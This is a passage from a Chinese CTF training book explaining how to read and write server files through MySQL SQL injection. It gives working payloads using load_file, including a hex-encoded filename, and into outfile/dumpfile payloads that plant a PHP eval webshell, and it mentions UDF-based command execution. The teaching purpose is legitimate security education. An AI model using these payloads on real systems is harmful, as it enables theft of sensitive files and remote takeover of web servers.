CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

2.10 SQL读写文件

在了解了SQL注入方法与过滤绕过的方法之后,我们再来看一下如何用SQL语句来读写系统文件。有一些比赛题目存在SQL注入漏洞,但是flag并不在数据库中,这时候就需要考虑是否要读取文件或是写Shell来进一步进行渗透。

这里依旧以MySQL数据库为例,在MySQL用户拥有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写。

我们假设一个题目存在注入的SQL语句,代码如下:


select username from user where uId = $id

此时,我们就可以构造读文件的Payload了,代码如下:


?id=-1+union+select+load_file('/etc/hosts')

在某些需要绕过单引号的情况下,还可以使用文件名的十六进制作为load_file函数的参数,如:


?id=-1+union+select+load_file(0x2f6574632f686f737473)

如果题目给出或通过其他漏洞泄露了flag文件的位置,则可以直接读取flag文件;若没有给出,则可以考虑读取常见的配置文件或敏感文件,如MySQL的配置文件、Apache的配置文件、.bash_history等。

此外,如果题目所考察的点并不是通过SQL读取文件,则可以考虑是否能通过SQL语句进行写文件,包括但不限于Webshell、计划任务等。写文件的Payload如下:


?id=-1+union+select+'<?php eval($_POST[233]);?>'+into+outfile '/var/www/html/shell.php'

或:


?id=-1+union+select+unhex(一句话Shell的十六进制)+into+dumpfile '/var/www/html/shell.php'

这里需要注意的是,写文件的时候除了要确定有写文件的权限,还要确定目标文件名不能是已经存在的,尝试写入一个已存在的文件将会直接报错。

此外,在权限足够高的时候,还可以写入UDF库执行系统命令来进一步扩大攻击面。